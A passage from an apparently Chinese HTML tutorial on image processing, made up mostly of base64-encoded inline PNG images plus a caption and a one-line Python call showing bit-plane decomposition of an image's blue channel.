HXYNz75yOR0WaFSPlBVCwjX2T0I59ef0f&#43;6OephlTFCsv9Xj9ZYUdajEZWf8ws/dLPxMTExMTEhHX&#43;8fWJiYmJiYmHFbNgTkxMTExMFDAL5sTExMTERAGzYE5MTExMTBQwC&#43;bExMTExEQBs2BOTExMTEwU8P8BZF8xcaHy4CgAAAAASUVORK5CYII=" alt="png"  />
</p>
<p>对 B 分量进行位平面分解的结果</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">bitplane</span><span class="p">(</span><span class="n">B</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAcwAAADVCAYAAADadcBhAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1&#43;/AAAADh0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uMy4xLjEsIGh0dHA6Ly9tYXRwbG90bGliLm9yZy8QZhcZAAAgAElEQVR4nO19a6x1XVXemKhR4UNELVGC1dRqEE0gbdRqbaOJkpposUrxVsT&#43;MNXW2KQxvalVoxAFf9QarU1ToF6TqsRULW2widibmIixjYoVDBRFtOH6cRELrv44e32M9znPM8aYa821z373O5/kZO8915zjMsd1zn3e87ZlWWxiYmJiYmIixqPuWoCJiYmJiYn7AbNgTkxMTExMFDAL5sTExMTERAGzYE5MTExMTBQwC&#43;bExMTExEQBs2BOTExMTEwUcOcFs7X2Q621bx1E69tbaz86gtbEdkybXhemPa8P06bbcHjBbK29trX27tbaO1prb2mt/Xxr7WPX58uyfN2yLN95mvs5rbXfS&#43;i9uLX2Jyd6b26tvay19uSj9Uhk&#43;o2TPOvPe1trP3uXMh2JB8GmJ7k&#43;r7X2ytbaO1trr2&#43;tPeuuZToCD4I9Qab15wPuUqYj8SDYdEVr7SNaa/&#43;3tfZfj&#43;Z1rhPmFy3L8pCZfYyZ/aGZff9Oes8/0XuSmf2Rmb14J71dWJblU5Zleegk02PN7P&#43;Y2U/epUxnwFXbtLX2FDP7cTP7ZjN7nJk9zcx&#43;9S5lOhhXbc8Tnr/G6ennfXct0MF4EGxqZvY9ZvZb52B01ivZZVn&#43;2Mx&#43;ysyeso6dOpfvaq09xsxeamZPdB3gExN677KbpPap7Hlr7Sdba29srb2ttfZLrbVPAb4/cOq8Hm6tvaK19gnu&#43;ZNPXdSbW2u/3XG6&#43;Ktm9gQz&#43;&#43;ni/PsaV2zTbzGzf7Usy0uXZXnvsixvWpblNZU9uZ9xxfZ8YHHNNm2tfeZJjhflO7EfZy2YrbVHm9mXmdkv47NlWd5pZl9gZm9wHeAbEnoPmdlXmdmviSkvNbNPtJsC9koz&#43;zF4/hVm9h1m9ngze7WZPfdE9zFm9jK7cYonnOb9oDd8gOeY2U&#43;d9Ll6XLFN/9Jp3f9qrf1Ba&#43;1HW2sfEcl&#43;Dbhie5qZ/d1TIv7V1tqXRnJfE67Vpu3mSv0HzOwbzOwsf&#43;P1XAXzZ1prbzWzt5vZ55vZC3bS&#43;6YTvVeb2UNm9jVs0rIsL1yW5eFlWd5jZt9uZk9trT3OTXnJsiy/sizLe&#43;3GqE87jX&#43;hmb12WZYXnU4Xr7SbE&#43;MzI6FOjvlMu5yriiNx7TZ9kpk928y&#43;1G6C/0Nt/5XWJePa7fkv7P1J/FvN7MWttb&#43;8S8PLx7Xb9BvN7BXLspztq5IPPBOfL16W5RdOHcEzzOzlrbWnLMvyxo30vndZlm&#43;JJpx4PdfM/qaZ/Rkz&#43;9PTo48ys7ed3nv&#43;77IbJzAz&#43;zgz&#43;4yTc6z4QDP7kUSuLzGzN5vZyzMFrgDXbtN3m9mLlmX53yfezzOzX6ipcl/iqu15Sr4r/kNr7cfsJl7/W67KfYurtenp2vgbzewvduqwC&#43;f&#43;DvN9y7K8xMzeZ2afzaYMZPeVduMkn2c3v7Tx8afxVlj7ejN7&#43;bIsH&#43;5&#43;HlqW5euTdc8xsx9eHqD/AuaKbfo/7UzXPJeEK7YnYinyue9xpTb9dLv5ZabfbK290cy&#43;z8w&#43;/fTd6WG//Xzu7zBba&#43;0ZdnN3zX6r6Q/N7CPh&#43;L4VjzWz95jZm8zs0Wb2vI61P2dmn9Rae3Zr7YNOP5/WWvtktaC19iQz&#43;1wz&#43;7d7hL7fcMU2fZGZ/e3W2p87XbX/oxONq8a12rO19szW2kOttUe11p5uZn/LzP79XgXuB1ypTV9qN8X4aaeff2Y336k&#43;7cjffj5XwfzZ1to77OYu/blm9pxlWX4DJy3L8ioz&#43;wkz&#43;93W2ltb8ttaCX7YzF5nZr9vZr9p5AtvhWVZHjazp5vZl5vZG&#43;zmCuF7zOyDg2XPNrP/8SD8JuUJV23TZVleeOL3ihPP99jNFdC14qrtaWZ//8TnrXbzXd7XLsvyi1sFv09wtTZdluU9y7K8cf2xm&#43;ve/7fjurmE9gDdHk5MTExMTGzGnf9pvImJiYmJifsBs2BOTExMTEwUMAvmxMTExMREAbNgTkxMTExMFDAL5sTExMTERAHhX/pprR32K7Tzt3O7MOwfWB9pUwa0c2u5KsuylOYxPus6z5eNReMZWmsj/HeITb09R8eUtwHub8Rz3R&#43;2vpc345vJssV3etcgv2VZRv4RhEc2a4tckuhJz0pMRnbFNX7/IjsfbVOUI/JD5Zsg4y2md3LCnMXyulAJktZa6vSV4PC81vfInxXPNXC8HOt4hGoyuTTsSbRoK7XnLPGyhFfxD/8eabBEuyZDT7/Hx5QMVWwtznswwu&#43;igoH7yYC2YEXY26HHpkyGrXkDZarQqxT9c/0tWTO7PxLNRD&#43;iU4dPbtj9KTqZn7BAUPN84CDfqMtU3XiErSfWkdgrQ3YC8c1HdrKAExjlh7aMkiPyVEmRycxOGxmyoniuYjmqOLP9W&#43;lX4lM1purV863IxHxpq01xz6LTrVrHfPZsJ8xZLB8MoPOvUIXKr6uc&#43;Kr8sznI18u1pUj2rhuN6rVYBFUsmV1YQ6Fs2CMPO2H03AKwxLulSGbrzmF3dQXaA3UjoGJN2XWrDN6e57Jp5H&#43;sue&#43;hfZYT5iyW14VqB1qldRTYSSTqXtmJtEo/oqk&#43;XxKykyVD74mtF9GJhu19dgKpNlLZqUbJd2lg9lH7lZ24mK4V20fFS51qt9pUnZ6RryqaFXuGfxqv7fwFkUt3qPsIw7LSXpuOwLn8QgVbNL8aPOqaWSUWMj78l35W9J6Qt8zH04&#43;isfV01yNHRK96Fat0Uo0hOc0f8ks/jxDv3Ee0U3b7oPRVNw5V9DQYPdfmqnmJYl7FLMrmxm4JcljBnMVyKC62YDLHzRz/LnyjUizNtl3HdhTJe6aUGcUyDC2Y6nPvjULvyfOIYtkrR7SmwO/OCyYrlOva6NSM4xv9ma5RcrJ5W2ya5ZvMpgluLRr&#43;Haa/q564PuAVB15hZg5/Kb7hvxcxq3W//gef&#43;dcKvZHAfWUyekQ64LWW6sIjW28plntPomwPMhr&#43;h9HvoTcazD&#43;rPqUKyEoz2qvo6rVnD7JbB6Ub&#43;ljlKpXxq9o0ixXE0IJ5Kclw4niw7wjUdw9&#43;3l2hkvxU56to3GVC9egJepYwzW534tgI&#43;U5eXT/3Jh&#43;UaSuq18GRfdUV311ha3OpigYrnlhwKqjauNIEsefZabOSV1ROiuaW9R91JXvXDnblOPuVbPV65ESzxPsSfIR136MKYad&#43;h13Jrsiu5oDOPevwWUW3vU3DVv/Irhy3FsJO2x96JbtCnfqZjmwOu7ZV9q2c0jNUi6ufH8mI/qzWI&#43;/oOjfQZ/x3mJeQBB8A3Ol3mFsLSiVR3wWyRMHmZ9hQZM7yHaZKKn6u&#43;k5onVspOiNP2L1FDRPqCPrR9Z&#43;gd7bvMJksyo4g4z30WOFl/LqF31l8lR6qYDKeWbFE2mwua4J2FcxLSoJXjos5YVavMC61WG5FNSF36DqsYFZOzNkpgtkrSSa3aIzEUSdBT7/imx23J0MLptrjyumqcuI&#43;VxPU4ydKl/VZdKpWcxiqN2dGYnTTv8O8hgQ4UYeyd1Q875dC2SNncsLYTX8LkHbv9asaixLyOexaSXwM1VNmRDtLqFuveKuIbIHvs2tXJvs6ruaNbIAqJ70IVRt5nSrzIx6R73X/0s/9kAQn6ogSrscanD5I/fsKjUvEXn/O1p8zXnr2fS18PtFg0o1OMyuOtrEqHh4jT7vZ&#43;kqzMRLeFp6PKoiscPj1zKaq&#43;Byhi5Lby7RFhsgGW2yq&#43;JcL5rk6y4nzgiWkvR3niA4cCzQr2KOg6PnGYAS9I4GnDzxFKFSS5Yi49wWa/USIvptjcmY3IltOrWrsHMUS7YrF0M9fX7GxxblH2BTHM73UZ5wb5ZOqnyvZkRfj4VEqmHs39344aTxIiBJA1dZRd7sH1YI4snhGCTbqPtWJ69yNJTv1V79/ZMDrvj3Ak2qUzCMfyk6a3lZRAxSdkpWtFa&#43;j7YzFgMmpmgl1Ko0&#43;M5oRomaLNW&#43;4VhU/Ngf9m/mzah7wmd9PPH1nuqcFc4tTnOuIP9EPdArVaUWd7DoHP29NsHuL3xGnzhXVYL&#43;EpjCS1ScIlkxYzG6NW1/8IttiEsx4Zyfl3tOq57clZx3pc5UTWNREsFMZNi9bm2SUjTVBaP8oz1R1UmB6s2ahomd2cxD&#43;0s&#43;egJm4TGDHpZJoT0c/Qp4R2NP1V65jotPP1uu&#43;0cBuGeWqdtJ7&#43;K98eoE2YHIqutk1ZcSP0YpOnepUNwrqBIUy&#43;ufMrqogVcYUlH8xHdiaLYUMeWUNctYUqVNntP6RZ4mwXdFfMfT9ijvWZ1hEttM/Qzi9v/WcnUCjk0iGaM8iWhGvLCn32Ild&#43;yD/alLoxCibhowxkVb0qtDznx8RRNilklyVDRg9fK7oqFNahV7m50SXoTEayaSKVlbIWLPMdFF5Qc3J4oPZQZ3oe2rIVptGPgJrbxEdWjD34tqK7ECMbGHv2eCtxbA6v7dgbil2W&#43;lUk71at9NXh9h0Ta5R8vTPV&#43;w5ZeA6pLnHpyp82PyqTSI6VVnFXh9SMD0/L6vj&#43;8h7Pz96HtFkc5Emo6PiJCuOmcxZs9UrL5vDZD09u7X4bP&#43;BdAWzWJ4H65VGb2Lr6cCzeXuLpZ&#43;/XvX0APlnyaNSSO8KLIH7V0wEUcLKUOnk2dVblbba7woqOnifQd5V&#43;OS6Rc4K0E7o436flG2jorH3xO15qX1n8dlzGkU9I1mitYynau4y3z3LfyA9cTmIOk2ESsBHyDACqvvukQsDBoOxp1E4R1HNEj/a18s1Qr7oBF6Zy9ayk8mWAoyyeBo9twTM9kcVSo9Ks6mapYq/smKBaxXdTEYPT7fHpuoU7OVlNsG5jFbWMCi/uLiCea5E04NLlGkvKh3y0UnhyD3NaFcScHQNtZf/SFT1OLccW/iyxMhob6G5Nen3NJmjkfFiuWnvbQvyVrcSW&#43;h7Or03XBG23AxlDQnbx4srmJeIay2W&#43;H79jFAd2FYnv&#43;v9rCQgdY3Te3XHMFJ/1WFHhUbZeI9c576yrn49UL2W7OVZ5b8F7FQUyap06&#43;WZnShH6KkKcG8To2Ix2qfoarY6fnEFEw03MRbqGoM9i8bP1WHfBdD/2BUV&#43;1zBufw74rP3VKLoHqHTnpONQtQsbmmIRuudfR3Qcw3ey3PFEfuOvFRj6mWoxkpm01H6XNQv/ZiN/75sDy5BhtGIThzsdHXO66dLhOrwWSBXfPfI0wjywGv39f3eBH&#43;uYqnob&#43;G/&#43;nXP92lsb3t4bsUqJ2vcsq8JtsQr7s250HsVjkD74J7hCZ19T8t4Rnt4cQXT7O6v7FY8CMVCJVx1qtqLu97Prddw7HoMgxHpn8OPo1PkCvwuysvbC0zY57QnJvWeE96qs7ITflZ2ZzKNBurFZGevW2XBGyf0nSP9OLtOjnizOPS27LVpqeFNNuPslevc34VkclxI8R6WlZr4/zBZ5zqqYWAnsbvc16pO6gSpTiOsOw2uuUfZlG4kynrpX3X0ysb061m3rlW81Z4FvIbGKLtKrDRGOFZFpRHZcnKN1mTFsDI/ukrOclo09/T5lhAXd8LE7vwuTiTsavJa4K9f/E90Xbd3H1gnfFcnzb3FUtFQdNGXRvsUO31kPPfufdSdb8WWYtnDN7qS6/F5PKEf4ces&#43;fJ88US11aeqp2g/v8KrkruZT/qf6q2Bp8Vs6vcIn7O9TXle2gnTLP4C9xx8PS6kaB7SvXpUx7biQvbRzLYVzdGJceQJkyVXhiNOmB0nsEN47j1djhRrIK2FnYL853UM92GPn6oTWYQefpXrVUazehJVJ9Ae/4D9vPwTppnu/qpdwBac897&#43;EoA6jkwmbP/wBHRubOG792prz5ytPCvXVlv2IaJxjqYWT1fIt4ItspVOHQf5c9T44PM9Nxj&#43;lglpZKdpdWPFfpge/kQZ3QJEsiuomyB1K4PvGS6yYGYYlXRZEFY69fsZeP3gnTNLvFX6PeOIkcmHXV0dWazv4qpZ&#43;S4&#43;89hy/bnVH/bsBybqo661PQ8cuyubZrcbqoHJZMUYj05l/vnI63fMP/4KGnXZ0&#43;R4euzUinz9uMLFFkwsXFmHUjViNJ/d6V8joiBg9/lVp/VrWUBjUFSuwDM7RM&#43;9Hc9hzwqPo5K94s2STk&#43;sqNhjSa5qz8g/WPfP&#43;I62Z6bj1gK1FapZYDapyqBsFsV7VrxRzsh&#43;ym64xyNuuJA30md&#43;hToxXNwfLljBHCYrZFud99zfwVwKVIPATirZ3leaDDwhYBGN1lSfM1kvzZ6jfYwlCMYPC0B2nVV9XrWnSrYR1Cmgun4rsoR65E1UFI/sfWU/WPHviVkE6q5O/6o4qZyyZy8z31ONI7OjonORJ0ymwJHOiTyu&#43;XSJ3d9R&#43;4pQHfwqx0g&#43;UfHfQ5e93yPbCCi5WEFT63qhkjQ7ufjPW6H8ZK8O7L3/zJp0VbyPgkrye24N2HuvK/tZn3ufyhqq6ETJZBm5l3gSZ02duv1A2TwurmBmmzgq4fgNY1cSl3YqOQKYYHEfevY6626jeaP2GhsApt8Wmv4V32&#43;hdSTw1LG1SEdXqXg9yIrmyGaIJbKt9mRNRHQqifQ9ogFCmVTBUqf5nlhiMRLlPowBVQzVnjBZozzcowfS98Wfzcf9qzZBF3slu8I76ciTQkRrdLdzSVBXJrgvrNiMShBRB79l31FmlkxGFI4jE&#43;QoRHZiJ6nKfme0lO&#43;o8SyhYkFSp9k9DdD6PmrIMe/0XPcdgco&#43;Zo1rdELtuSJVe6Po4roo3/Ri6w2A0jey50WdMJWxM6P08qiehs6Bcydg1SWqorNXvux0ic65hS8WXpZQRpwKqzTO6UNqvyoyZHMyuplt/TzV9LJTBpMD6WxFJD/jo05clUK6B9FeRSenjF50SlWFQump7K&#43;aKTYH7c6augyZ3p5/VBArtzKlP1xwjg4q25jIkD3ooXNBp8yRVXXBILnnYaHjLjMKaEVrqvbAAFBBWE3sEc/Rjc0y6A8XNPenDqu&#43;XSmU0WlD7as6CUZ8lFzM71iy6y1a0Xx12mCykfWHxGhkv8pJ3K9RJ7tKjFfWMd7KZpk80WkYEcmPdNR7pHUau7URpSvZSyyW63hvIouS8blPe3eFkQUl49FLN0oU2Qm1Z901A/fEj&#43;GpQq3rKZb4mZ0qoo5eycFsOyoXRQWefT7HocHLhvyjZjGSrdJIVvYWCw07CarTOMrQ00T1otqs&#43;efR/iKGXsmqq4JszR5&#43;R&#43;JaEy0LIBZ4q3P3nrKqjup5&#43;M97TrEjk9pRCXI03WoDFCW1SK6t8u5dV1nfw0Nd96kThspnW5vBHqhGJzshq&#43;KIsrKmRsnhfyIfUryiW4HsFNlzusx0YDQxPjKEBdMrfBSyhHd0V&#43;cd4WhcYgH2yUkVrq3XXpXP2dwKL0YjKw4ZmP5qXi9G&#43;gG72sLkqnj3nOK3YMs6L7d/zWyR8WKnblYU1QkpsvM5Tp7R6c0sPllVipsC&#43;lOvrmyNuhpFZHmZ2XR9z4qikp/dKiiEBbOn0xuFHkPuRUWvc56Yz4moG4yw1xf2BG8FUVBkUInmnP7fC3UCwtsB/0zR2XKDEBVndhKr&#43;pc/WflxdXLqOfFkMjI6lxTXUQOhrj8rJ0lPr9pssuKEvFDeyLbq9KfGKk2hKrxsDzOdh17J9l7d9c4dhS1d5B70ntCORNaxmd3uwP376hXIuZHJzqCSZeXGYYuv3&#43;UVL9O1Kk&#43;kK0vKmIDUdRjCr8UkiqfoinxYfBVPJleFx1G5K5IV/ZvtE5OtpxlkRdfTZwUx08X7QcS7chpkz6PTZpQHKkXa46L&#43;WUkVexxVGYsF61acI6i2IrvaMdPXnGzupQEDLjo5q&#43;si/8p8Yqv&#43;R/hC5SpKyVC9VcjQW3TY&#43;ooMygfZqQXXsFPHSof5gEq6FX32olqQmH&#43;rm4X12RZZvEyqKEWNkS&#43;06sSr5K/YtKpXdMpFWSWNhFn3Dvcm1mqwbunoMzpRZ7qlQBx4khyZaRcV/Ez&#43;6EpDMgg6R5bQe&#43;lHPBnNkfKPwjLwn5UoeZl/s33JYkvZjPFkdNmcjD7KyuZFnzOeCpnswfgwB2nwf9YqO2WndTWn6hvqeRZPym5&#43;bXWfq37EZGN8cQ2j5Z7dejD8hNlbLCrzRxXLjMf6M4LPpZ0sVzBHzrrt6kmB8cgwslhG9LecEHv13iLfXrBig520n7flhNlz&#43;mMnEJQXf9hz5DsyBygZowYia7BHIvNVn6ei03lUaLIDQVSQ1Bq1lsmIPqqeM3ooV6SHl53N6bXl8IJZVbSX5khaCNXhbqEbdU6XAObwUaJluuyxhQrUPfulnN4HSnbajBLBllO2km&#43;0X6gE6AtP1BCNwqhmk&#43;mBfNbXKC9EhYGdRCK60clkZG5CeFnQl9kJm8nIaFY/V2Km4lNRE6T4sdwQNXgqX7GmUTVplTpw&#43;Amz4kznLi6qCGTFNKLH3l8iKtcgmPy2dNTRmsjh9yC6akIZorWVdT0&#43;O6Ihi2hXigb6N0tIUfKLTqqjgXZkCTBrUHFf2CkDEznSVSeT6ml6K6KTNerKmkPUp9pU9Nwk7AU2A&#43;tYJI&#43;yKSt2LC7YHuJJndG7h0Zi7E2eMCLBHomeor63OAzC0O9HzGrXqnuT48iTaZUX64oreqiitnUPstPWctB3mNFpVhUQnK/kZnt8BJjdWEJU8/1YVU6VnJXOhOdI574lsC8Cyrd7Tpxqz45qiKLTvSqCKFMmNyuUWQ5SfNbpOHCW35K9tFNm9UR4IcVyOFRXvY6x&#43;Uqv7NRWnbsX7Donkhvlik6kW5LHuRpAJnu1UYluGtQzv260jswXo1OyklclWTxJsJMM&#43;o&#43;HP42wz6NRPQGy&#43;GU&#43;UDm5jm6GKrljnYNFL8pLUZHFeXh6ZM&#43;rttx8wlQC&#43;ue3iF3YSdMj60wYlI7Z3mzA8BOmGZc1crzs1KRwzpPmyq&#43;3W2ZzVVc8SMZRxOhp5MSDjqcEg5OKf74nuWYnIiUP0lDPs2eRPSP9ArqH3AJltwDZiczLreId6Ww9afbm0OyUiTSyU37VH6K8DbLfmnjIlawXkAm2de25sKdYrs&#43;qSaQ499DrnnsYJUkwS2xVu9&#43;1jT2qQdlTcLK5IwtmVCCZT1ZOipkOe4pmVgQi9CRHvyY6XfXOZY3UQHtag39WwuRTcm1pIkYUzYhmhp5iyeb0HlBYXIiDw7gr2UJC2LQuWnsO7C3ovcY7t67q2sE74FbbRbqrJHk0Ij7&#43;GsgsbvJ6Cvy5mwFMbHjNxOZk8LasJN/ek0jUpKzP2Wfvv5Ukje8xUeIPyhHFy5E&#43;7OXz8iu7eii5shM9Fo9en48ajfU5&#43;4z7zdbjHLYvER//vrJW7eHmgrnHWZQTjqK/FaOKpZpzCacqLBJ&#43;3CM6QUe0e4rmkVB6&#43;ucelQ62JzlVn&#43;8FBnjWnftnlVNAT9HsBRYqRksVZGW/SnHzcRo1j1lhPjeYjr2yqKLLTlxbZWT7ypoRfMU1mR3UKZs1SSqGWeMU4dBf&#43;smYX0IBMYtPVR6V5LvX4c6FTMZKEkVghxrRGLU/7JQQJUOUoXrjsUXec/iBOhnhHA&#43;0j2pysDtXGHna8glXJdDsBJUVQWzsmI4qkTMfO6op8vRZU4EFDwtptXlAuormFkSnRpTL883k8PqxOXhyxM84T61FlP4D6SNxpMNlqPKtJF5Pj&#43;l0l3oyqK47Q9QRrnT865FFIzr1RGsqjQJLSqwzr55gq/x7oWSJTiFKtwoPRXMEek7H/rlKqixZM2QNR7TuiKKJvrYlvyibZs2u&#43;lyhEdFldmB&#43;qHhHxRbXoE&#43;wYspoVXz6sF/66RXE7Pirjy1O3SN7JTg3YthGNPG3R4trNyfNqm17Zdtin2gO0s4CtQfgI6NsupjpK2Xkz1DVExNQdkLN6Cn66hmTucemUfKO6KG&#43;uGb9GArSgUb&#43;rbSSfWuTwNYiKnpX/MV/ZvwrfsTWqIav4p/K3rDmlnJnKZirAFWMTFKeXg8qvJnRlJPtxMjO4f0RvkPOasK6xTwI9F7&#43;FV5bEvbW5BzRRTqjCmZz/0zI81r5BfwZrXIRypJyb/NYKfAsCWbrVHLP5kRys5i3wTEayaSKgyqeFVszOlEcVOxavZmo&#43;FB2Ao7mKnmigrsuuUXjXAXTbFsB7Ok692LraeXgYml2UMHciz32HHEiyXjg&#43;8o6LwfrVEfhqILp6IfJP&#43;r88XmELJltbagyZDmh2hx4Wj1FYJ1/RMFkJ0zF2yMr8pXTWxQDvY1jdgreYiukl&#43;XeqEAXiuzdFkyzfUnniIK0NwkeUBwZLrJgmo05abLkvicot9A4qjAGPIcVzKzQkzVDTpqISvLqTfR&#43;bYU/W1M9EQcnjfS0NMqeJ7q3bg1U0aoUtK05qsLTz2Nr1/dejoiukkF9ZvQZ/56CuoLZ9OwF02x4p37f8I6QOMbwgtnTVVextxnaSmdPoVOFG&#43;ckgSUTrvo8MMEuLJFtbSz3NB5&#43;XZZQI/4jTjPRiUTxjXRgc0G/Q06YWQFHeaO5lcbBr6kWqgw9p0c/FvlCduJUc7I9RPFuDdxFwTQ7Txd/JHodrorq1cAOvL8KDzytbz2VVHEE7UqxrMoQFRfRTQ&#43;/kt1SoIBW2KVXETUeEa&#43;tYHqrZFg5VWc3HuIUN7Rgqmar4mf&#43;M5N9HevxkUrzoJqkauPBnlVlVifarJGNmgBm07P88XWGkSebc6PSaW3V75z7MpKXd84jdDh3sax2w0gr4neOJnH0Kb&#43;1/n82oWRYafnn&#43;HkEMBmue49J1fPOimXnyWSYDmw8erbKg7KjjL3&#43;qHT0tHHvkD7aPdq3la6fgzS9j1b0U3HK/FIhO2FOTExMTExM2B2eMCcmJiYmJu4nzII5MTExMTFRwCyYExMTExMTBcyCOTExMTExUcAsmBMTExMTEwXMgjkxMTExMVHALJgTExMTExMFzII5MTExMTFRwCyYExMTExMTBcyCOTExMTExUcAsmBMTExMTEwXMgjkxMTExMVHALJgTExMTExMFzII5MTExMTFRwCyYE9zTXqIAACAASURBVBMTExMTBcyCOTExMTExUcAsmBMTExMTEwXMgjkxMTExMVHALJgTExMTExMFzII5MTExMTFRwCyYExMTExMTBcyCOTExMTExUcAsmBMTExMTEwXMgjkxMTExMVHALJgTExMTExMFzII5MTExMTFRwCyYExMTExMTBcyCOTExMTExUcAsmBMTExMTEwXMgjkxMTExMVHALJgTExMTExMFzII5MTExMTFRwCyYExMTExMTBcyCOTExMTExUcAsmBMTExMTEwXMgjkxMTExMVHALJgTExMTExMFzII5MTExMTFRwJ0XzNbaD7XWvnUQrW9vrf3oCFoT2zFtel2Y9rw&#43;TJtuw&#43;EFs7X22tbau1tr72itvaW19vOttY9dny/L8nXLsnznae7ntNZ&#43;L6H34tban5zovbm19rLW2pOP1iOR6fmttde31t7eWntda&#43;2b71Keo/GA2PR7W2u/01p7uLX2qtbaV9&#43;lPEfiAbHns1pr/7219q7W2i/epSznwANi0w9urb3wlHff2Fr7B0fzPNcJ84uWZXnIzD7GzP7QzL5/J73nn&#43;g9ycz&#43;yMxevJPeXvwbM3vysiwfZmafZWZf2Vr7kjuW6Whcu03faWZfZGaPM7PnmNn3tdY&#43;625FOhTXbs83m9k/N7PvvmM5zolrt&#43;m3m9knmtnHmdnnmtk/bK39tSMZnvVKdlmWPzaznzKzp6xjp87lu1prjzGzl5rZE09dzDtaa09M6L3LzH7czD6VPW&#43;t/eSp83hba&#43;2XWmufAnx/4NR5Pdxae0Vr7RPc8yefuqg3t9Z&#43;u7X2rECO316W5Z1u6E/N7M/Hu3EduGKbftuyLK9aluVPl2V5hZn9FzP7zNqu3L&#43;4Ynv&#43;wrIs/87M3lDciqvBtdrUzL7azL5zWZa3LMvyW2b2r83sa9IN2YGzFszW2qPN7MvM7Jfx2angfIGZvWFZlodOP6Fzt9YeMrOvMrNfE1NeajcdyBPM7JVm9mPw/CvM7DvM7PFm9moze&#43;6J7mPM7GV24xRPOM37QW94Iss/bq29w8x&#43;z8wec1p79bhmmzqZPtTMPs3MfiObe7/jQbDng4ZrtGlr7fFm9kQz&#43;3U3/Otmdqj9z1Uwf6a19lYze7uZfb6ZvWAnvW860Xu1mT1koqtYluWFy7I8vCzLe&#43;zm&#43;P7U1trj3JSXLMvyK8uyvNdujPq00/gXmtlrl2V50bIs712W5ZVm9tNm9kwl0LIs321mjzWzv2BmP2Jmb9uj4H2Aq7epww/ZTTD&#43;pw163S94kOz5oOCabfrQ6dXn2bfZTQ4&#43;DOcqmF&#43;8LMuHm9kHm9k3mNnLW2sfvYPe9y7L8uHLsnz0six/fVmW1&#43;CE1toHtNa&#43;u7X2mtba283stadHH&#43;WmvdG9f5e93wgfZ2af0Vp76/pjNx1VKPNyg18zs3fbTQd1zXggbNpae4HdXD09a1mWZZtq9wUeCHs&#43;YLhmm77j9PphbuzDzOzhfrXqOPd3mO9bluUlZvY&#43;M/tsNmUgu680s2eY2efZzS9ufPxpvBXWvt7MXn5yjvXnoWVZvr7I&#43;wPN7BPSWVeAa7Zpa&#43;077Oa66unLsrx9n&#43;j3B67Zng8qrtGmy7K8xcz&#43;wMye6oafagd/bXLu7zBba&#43;0ZdnN3/Vtkyh&#43;a2UfC8X0rHmtm7zGzN5nZo83seR1rf87MPqm19uzW2gedfj6ttfbJOLG19qjW2t9prT3&#43;pN&#43;nm9nfM7P/PECHi8c12tTMrLX2T&#43;wm&#43;D9/WZY37RX8fsEV2/MDWmsfYjfN7KNaax/SWvugvQrcD7hWm5rZD5vZt5xy75PN7Gvt4N/cPVfB/NnTL8S83W6&#43;4H3Osiy3OoFlWV5lZj9hZr97OpKHv62V4IfN7HVm9vtm9ptGvvBWWJblYTN7upl9ud38Vt0bzex77OZqg&#43;FvmNlr7OY64Eft5te39/4K96Xj2m36PDP7s2b2O&#43;39vz34T3fIfum4dns&#43;226&#43;KvmXZvZXTu//9VbB7xNcu02/zW7y7uvM7OVm9oJlWf7jZskLaNf9tczExMTExMQY3PmfxpuYmJiYmLgfMAvmxMTExMREAbNgTkxMTExMFDAL5sTExMTERAEfGD1srT3yG0HLslhrt/8pzTruX09rH3m&#43;fo5&#43;wYjN9zzYPLWG0UCZGS01rtYzOXEvIr3xGfJy6yv/hqmKe4Rhe8Be1zm4hunE5uL8jNctoYkcSKeyJpOd0Y6eqf1j/GEvhti0tbawvWY8UU6vi9JB0YnoebpqP/3naJ&#43;rY1Fe2LpGxbCQ95AYjXwp2rvqXOYfSCv6HO11dTyqGxmtLOdmsRjVChajYcF0C2XArOP&#43;dVkWGnSoKPLAZ1ExQYOxTY0KFePpZUeefkwlEyaTcvRIHs/nqN9iZvvpZfbyrHJXi39UKBC4J5UEGtGKeCi51znIMyoCTFekx&#43;TK9mMrlK&#43;qMdQb/ZrJjfyUvfE5yuJpqthDGiqGIj6RzbP8o&#43;KjIsNeRD7p7cT0y/Y5m&#43;M/e5pK14imkovZS&#43;V9poPyhcif1FpVrxQ2XclGiWkVLpqHwGBlzrEqpZIY8mM02VwWGBk9FaCsIGaJGteijEckV&#43;S7vrI9qXRiag9U4WRJad3fSnAyvjjOEov3oajpwddKQlS&#43;cVTDg7wjn8wKYo/PRjZj9lFrEGgDpoOKR5ZscU3UwHh6ymcZfUZvBNBHlR9F&#43;ZbFH85VsclysQezJ9trxh/XK9sq/lltiXK2ahqYjRX98N9httOVbKVDiQQHmvc8Z3QjA7Gi5OexhKUCFOcoOaKiEXU&#43;GU/1nug3smo&#43;QrhnH1EHfBY5tdqXyt5FayJESY/pmgV2pKPyaZVsTmOjbHpLKRWrWUOX7VW2xq/b4wORrFF8s/3v0TvSP8t/y4Ffm3gZHL8wD0f5lc1BullMqFiq8GayR3ZkfCK/y&#43;KwGtdGYjT7wwVLpHiGLLlGRQXXqOdevgo9JgsLrCgYGaIArzpOQGNYMDb4XhrlZDrhfC9bRCvbE7YWeUeByRAFRqZH1kRV9oiNiQQwxKbNfYfJdIG55fiKmr&#43;sOYzGeu2JMmWJOssFyj&#43;j&#43;Yo2vB8ao1nDkBW1yMez5sDPXxHFNFsTye3p9SBrxrK1Pf6zPsK5w39LdlnuPWK3dvuqDYX0r36NwvqM0Y3W&#43;HUrT88HHQmfMV3Z56oB19f1B9f1OlQV1aTF5MnswgKS&#43;YDS2/sO8vV2Q79BWqoQZAWD&#43;WlPI4aJaP18TluacblVTLKYZXw8L8aXFTZcg/ZhNsXPLEEyf2B8I72YDEw3lLsnzvci4qviU8WB1y8qHqoIR/IhD&#43;RbKXLohyzOVU6OcgLmpCivZ7YtnTDvWVB0EpYIqQBB18LWq43PimbU2bCuLeqolFxMZ0YjWi9kHnrdowpbuKhgo2hNxZaIzH&#43;UHddnUYNWsZeiG6FjPw85YZ7Gwj2PYkntYVYoMCn2&#43;EUWf5FskQ8osDWZ7Fn&#43;skE3BieaC7PRFnsyHbI9x/lIS&#43;WzKEdEY6OeV/JBZHv8zGL00IKp1kaJja2pBG1GoyprpZhUE